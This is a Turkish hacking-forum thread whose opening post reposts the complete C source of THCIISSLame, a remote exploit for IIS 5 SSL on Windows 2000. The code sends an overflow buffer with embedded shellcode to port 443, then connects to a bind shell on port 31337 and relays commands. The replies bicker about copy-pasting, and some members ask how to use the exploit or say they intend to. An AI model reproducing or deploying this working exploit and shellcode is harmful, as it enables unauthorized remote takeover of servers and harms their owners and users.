IIS 5 SSL Remote Root Exploit

Partizan

New member
Katılım
18 Haz 2005
Mesajlar
1,346
Reaction score
0
Puanları
0
Yaş
44
Konum
Cuba
Kod:
/*****************************************************************************/
/* THCIISSLame 0.1 - IIS 5 SSL remote root exploit                           */
/* Exploit by: Johnny Cyberpunk ([email protected])                         */
/* THC PUBLIC SOURCE MATERIALS                                               */
/*                                                                           */
/* Bug was found by Internet Security Systems                                */
/* Reversing credits of the bug go to Halvar Flake                           */
/*                                                                           */
/* compile with MS Visual C++ : cl THCIISSLame.c                             */
/*                                                                           */
/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
/* scut, stealth, FtR and Random                                             */
/*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#define jumper    "\xeb\x0f"
#define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"

char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";

char shellcode[] =
"\xeb\x23\x7a\x69\x02\x05\x6c\x59\xf8\x1d\x9c\xde\x8c\xd1\x4c"
"\x70\xd4\x03\xf0\x27\x20\x20\x30\x08\x57\x53\x32\x5f\x33\x32"
"\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d\x83\xed"
"\x2a\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b"
"\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01\xfb\x8b"
"\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b\x5b\x20"
"\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe\xac\x31"
"\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x05\x8d\x44\x45\x04"
"\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50\x52\x2b"
"\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f\xb6\x4d"
"\x05\x89\x44\x8d\xd8\xfe\x4d\x05\x75\xbe\xfe\x4d\x04\x74\x21"
"\xfe\x4d\x22\x8d\x5d\x18\x53\xff\xd0\x89\xc7\x6a\x04\x58\x88"
"\x45\x05\x80\x45\x77\x0a\x8d\x5d\x74\x80\x6b\x26\x14\xe9\x78"
"\xff\xff\xff\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46\x56\xff"
"\xd0\x97\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff\x55\xd4\x4e"
"\x56\x57\xff\x55\xcc\x53\x55\x57\xff\x55\xd0\x97\x8d\x45\x88"
"\x50\xff\x55\xe4\x55\x55\xff\x55\xe8\x8d\x44\x05\x0c\x94\x53"
"\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64\x94\x31\xd2\x8d\x45"
"\xcc\x94\x57\x57\x57\x53\x53\xfe\xc6\x01\xf2\x52\x94\x8d\x45"
"\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53\x6a\x10\xfe\xce\x52"
"\x53\x53\x53\x55\xff\x55\xec\x6a\xff\xff\x55\xe0";

void usage();
void shell(int sock);

int main(int argc, char *argv[])
{  
  unsigned int i,sock,sock2,addr,rc;
  unsigned char *badbuf,*p;
  unsigned long offset = 0x6741a1cd;
  unsigned long XOR = 0xffffffff;

  struct sockaddr_in mytcp;
  struct hostent * hp;
  WSADATA wsaData;

  printf("\nTHCIISSLame v0.1 - IIS 5.0 SSL remote root exploit\n");
  printf("tested on Windows 2000 Server german/english SP4\n");
  printf("by Johnny Cyberpunk ([email protected])\n");

  if(argc<2 || argc>2)
   usage();

  badbuf = malloc(347);
  memset(badbuf,0,347);

  printf("\n[*] building buffer\n");

  p = badbuf;

  memcpy(p,sslshit,sizeof(sslshit)); 

  p+=sizeof(sslshit)-1;
  
  strcat(p,jumper);

  strcat(p,greetings_to_microsoft);

  offset^=XOR;
  strncat(p,(unsigned char *)&offset,4);

  strcat(p,shellcode);

  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  {
   printf("WSAStartup failed !\n");
   exit(-1);
  }
  
  hp = gethostbyname(argv[1]);

  if (!hp){
   addr = inet_addr(argv[1]);
  }
  if ((!hp)  && (addr == INADDR_NONE) )
  {
   printf("Unable to resolve %s\n",argv[1]);
   exit(-1);
  }

  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if (!sock)
  { 
   printf("socket() error...\n");
   exit(-1);
  }
  
  if (hp != NULL)
   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  else
   mytcp.sin_addr.s_addr = addr;

  if (hp)
   mytcp.sin_family = hp->h_addrtype;
  else
   mytcp.sin_family = AF_INET;

  mytcp.sin_port=htons(443);

  printf("[*] connecting the target\n");

  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  if(rc==0)
  {
      send(sock,badbuf,346,0);
      printf("[*] Exploit send successfully ! Sleeping a while ....\n");
      Sleep(1000);
  }
  else
   printf("\nCan't connect to ssl port 443!\n");
   
  if(rc==0)
  {
   printf("[*] Trying to get a shell\n\n");
   sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   mytcp.sin_port = htons(31337);
   rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
   if(rc!=0)
   {
     printf("can't connect to port 31337 ;( maybe firewalled ...\n");
     exit(-1);
   }
   shell(sock2);
  }

  shutdown(sock,1);
  closesocket(sock);

  free(badbuf);

  exit(0);
}
 
void usage()
{
 unsigned int a;
 printf("\nUsage:  <Host>\n");
 printf("Sample: THCIISSLame 31.33.7.23\n\n");
 exit(0);
}

void shell(int sock)
{
 int l;
 char buf[1024];
 struct timeval time;
 unsigned long ul[2];

 time.tv_sec = 1;
 time.tv_usec = 0;

 while (1)
 {
  ul[0] = 1;
  ul[1] = sock;

  l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  if(l == 1)
  {  	
   l = recv (sock, buf, sizeof (buf), 0);
   if (l <= 0)
   {
    printf ("bye bye...\n");
    return;
   }
  l = write (1, buf, l);
   if (l <= 0)
   {
    printf ("bye bye...\n");
    return;
   }
  }
  else
  {
   l = read (0, buf, sizeof (buf));
   if (l <= 0)
   {
    printf("bye bye...\n");
    return;
   }
   l = send(sock, buf, l, 0);
   if (l <= 0)
   {
    printf("bye bye...\n");
    return;
   }
  }
 }
}
 
iii de bu kodları ordan copy buraya paste bunu bende yaparım önemli olan anlatmaktır.ya bilmiyosun ya da anlatmak istemiyorsun yanlış anlama
ares abi biraz exploit lere takılsaydı daha iyi olurdu adam anlatıyor abi aresden çok şeyler kaptım senden kapsak fena mı olur inşallah bu söylediklerimi dikkate alırsın...başta söylediim gibi sakın yanlış anlama
 
seax' Alıntı:
iii de bu kodları ordan copy buraya paste bunu bende yaparım önemli olan anlatmaktır.ya bilmiyosun ya da anlatmak istemiyorsun yanlış anlama
ares abi biraz exploit lere takılsaydı daha iyi olurdu adam anlatıyor abi aresden çok şeyler kaptım senden kapsak fena mı olur inşallah bu söylediklerimi dikkate alırsın...başta söylediim gibi sakın yanlış anlama

dostum herşeyi söylemişsin sonrada yanlış anlama demişsin:)
partizanı tanımadığın belli.kaldıki expolit vermiş ..eğer sen hala açıklama bekliyorsan bence hiç uğraşma dostum.program değilki açıklaması olsun.
partizan cevap hakkı senindi dostum ama amaçsız eleştirilere dayanamıyorum.
 
tamam sen de haklısın ama bu exploitlerden hiç anlamam o yüzden bunu nereye copy yapacaz nasıl kullanacağız anlatsanız ölürmüsünüz.
 
Demekki bimiomuşsun :) Forumdaqi açıkLamaLarı okursan anlarsın :)
 
wallahi patizan saolasin sayenizde biseyler ögreniyoruz da dün aresin verdigi dersler takildim daha detayli malum ben yasli basli keli felliyim detay lazim detay anlatin da bilelim tabi sir degilse :)
 
Bilmediğin CumLeLeri Kurma

seax' Alıntı:
iii de bu kodları ordan copy buraya paste bunu bende yaparım önemli olan anlatmaktır.ya bilmiyosun ya da anlatmak istemiyorsun yanlış anlama
ares abi biraz exploit lere takılsaydı daha iyi olurdu adam anlatıyor abi aresden çok şeyler kaptım senden kapsak fena mı olur inşallah bu söylediklerimi dikkate alırsın...başta söylediim gibi sakın yanlış anlama

1. ExpLoit'i Partizan Yazmadigi Icin Tabiki Copy-Paste Yapicak ; )
2. Bu ExpLoiti Zamaninda Ben Aramistim Ama BuLamamistim Simdi Partizan Sayesinde KuLLanicam.. ancak Sen KuLLanmayi BiLe BiLmediğin KodLari Veren Kisiyi KiyasLama Yaparak Kucumsemeye CaLisiyorsun
3. InsanLari KiyasLayarak Bir Sonuca Varmayi HedefLeme.. Ares TrojanLardan AnLadigi Icin O BoLume Mod.. Partizan'da GuvenLik SistemLerinden AnLadigi Icin Bu BoLume Mod.. Senin Yaptigin FutboLda Bir Defans Oyuncusu iLe Forveti KiyasLamak Gibi oLuyor.. Madem Ares Abini Çok Seviyorsun Git O boLumde TakiL..
 
burda o bölüme git yada bu bölümde kal diyemeyiz ve o iyidir sebn kötüsünbde diyemeyiz herkezin uzmanlık alanı nvardır partizan size biraz daha fazka sey öretmek istiyor buna emin olun yoksa buldupu herseyi sizle paylasmazdı o yüzden bişiyi bulup c/p yapmak bile iyidir çübkü inanki bu hh de olanları millet iki saat yırıtınıp bulamıyor
 
blackwolf' Alıntı:
burda o bölüme git yada bu bölümde kal diyemeyiz ve o iyidir sebn kötüsünbde diyemeyiz herkezin uzmanlık alanı nvardır partizan size biraz daha fazka sey öretmek istiyor buna emin olun yoksa buldupu herseyi sizle paylasmazdı o yüzden bişiyi bulup c/p yapmak bile iyidir çübkü inanki bu hh de olanları millet iki saat yırıtınıp bulamıyor

sana katılıyorum, bazen yırtınıyoruz ama bulamıyoruz. verilen bilgi kullanılmış ve işlev görmüş diye verilmiş. exploit için forumda ararsanız detaylı bilgilere ulaşablirsiniz.:hhman:
 
Geri
Üst